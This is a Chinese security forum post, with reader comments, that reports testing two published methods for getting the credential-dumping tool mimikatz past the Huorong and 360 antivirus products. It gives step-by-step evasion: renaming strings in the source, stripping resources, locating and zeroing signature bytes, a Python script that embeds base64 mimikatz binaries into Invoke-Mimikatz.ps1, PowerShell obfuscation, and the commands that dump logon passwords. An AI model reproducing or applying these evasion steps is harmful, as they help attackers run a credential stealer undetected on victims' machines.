最近在公众号上看到了两篇mimikatz的免杀文章,看着操作很简单,就是不知道免杀效果怎么样,本着实践是检验真理的唯一标准的原则,自己动手尝试了一下,然后就有了这篇文章。
先看第一篇文章,文章链接:https://mp.weixin.qq.com/s/Q8AmGAeF2G-YfDd7upgh5g
先概括一下文章给出的方法:
1、下载mimikatz源码,使用visual studio
打开。
2、全局查找mimikatz
和MIMIKATZ
关键字,全部替换为其他关键字。
3、修改含有mimikatz
的文件名。
4、编辑 mimikatz/mimikatz/mimikatz.rc
,将一些名称进行修改,还有种类编辑器注释作者名称。
5、编译生成可执行文件,删除icon
等信息,即可免杀。
自己照着上面的方法试了一下,几乎将所有mimikatz
的关键字都替换了,包括文件名,并且还改了作者等信息。然后编译出来后:
落地就报毒。
文章给出的方法已经不能用了,去网上看了一下这是去年的方法。只不过一些公众号在炒冷饭,过一段时间就发一遍。
既然这个方法不能用了,那就自己改良一下,开始还是按照文章的思路来。
下载mimikatz源码:https://github.com/gentilkiwi/mimikatz
下载好源码后,使用visual studio打开mimikatz.sln
文件:
全局替换mimikatz -> iphonex
MIMIKATZ -> IPHONEX
项目 -> xxx属性
在编译的过程中会报一些错误:
(1)报错找不到文件,重新改回mimikatz,或者修改文件名
(2)编码问题
遇到这种错误就把文件用sublime打开,然后使用utf-8编码重新保存一下
还不行的话就把将警告视为错误改为否
编译成功,依然落地报毒。
这步的目的是绕过360动态查杀。使用resource_hacker
工具打开,然后把图标、信息等全部删掉。
如果不做这一步,可以静态和动态绕过火绒,但是360动态会报毒。
使用VirTest
定位特征码,这里发现了5个特征码:
用16进制工具打开文件,将关键字替换,把关键字都换成00
替换后保存,火绒没有报毒。
静态测试
火绒
360杀毒
动态测试
火绒
360杀毒
再看第二篇文章,文章链接:https://mp.weixin.qq.com/s/6meXpm7LWG4_imL1XMPQng
概括一下文章给出的方法:
1、下载Invoke-Mimikatz.ps1
文件。
2、对mimikatz的ps脚本执行基础的字符混淆。
3、利用powershell ise自带的功能进行混淆。
照着上面的方法试了一下,免杀效果还可以,有个缺点是生成后的文件较大。因为自己试的过程中踩了些坑,所以下面也记录一下。
使用windows2012搞了半天一直报错,排查了半天发现是powershell版本的问题。换成win10搞直接就好了。
工具很久没更新了,可以在github上下载最新版的mimikatz进行更新,mimikatz地址:https://github.com/gentilkiwi/mimikatz
py脚本:
import fileinput
import base64
with open("./mimikatz_trunk/Win32/mimikatz.exe", "rb") as f:
win32 = base64.b64encode(f.read()).decode()
with open("./mimikatz_trunk/x64/mimikatz.exe", "rb") as f:
x64 = base64.b64encode(f.read()).decode()
for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):
line = line.rstrip('\r\n')
if "$PEBytes64 = " in line:
print("$PEBytes64 = '" + x64 + "'")
elif "$PEBytes32 = " in line:
print("$PEBytes32 = '" + win32 + "'")
else:
print(line)
将python脚本、Invoke-Mimikatz.ps1
和mimikatz_trunk
放在同一目录
启动mimikatz
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz
已经是mimikatz_trunk
的版本了:
如果觉得名字比较敏感,想要改名,打开文件,将函数名修改成想改的名字:
然后将文件重命名,运行文件:
powershell Import-Module .\helloworld.ps1;helloworld
下面的操作还是用的原始名字进行演示。
打开Windows PowerShell ISE
,输入Start-Steroids
打开刚刚需要混淆的文件,工具 -> Obfuscate Code
可以选择模式,这里使用默认的:
生成文件后,保存。
缺点是生成后的文件较大:
静态测试
火绒
360杀毒
动态测试
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz
privilege::debug
sekurlsa::logonPasswords
火绒
360杀毒
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
小酒 | 5.00 | 0 | 2021-09-03 15:03:26 | 一个受益终生的帖子~~ |
Track-聂风 | 130.00 | 0 | 2021-09-01 15:03:30 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
domren
发表于 2021-9-2
大佬牛哇啊!
评论列表
加载数据中...
苟子狗子钩子
发表于 2021-9-29
起飞
评论列表
加载数据中...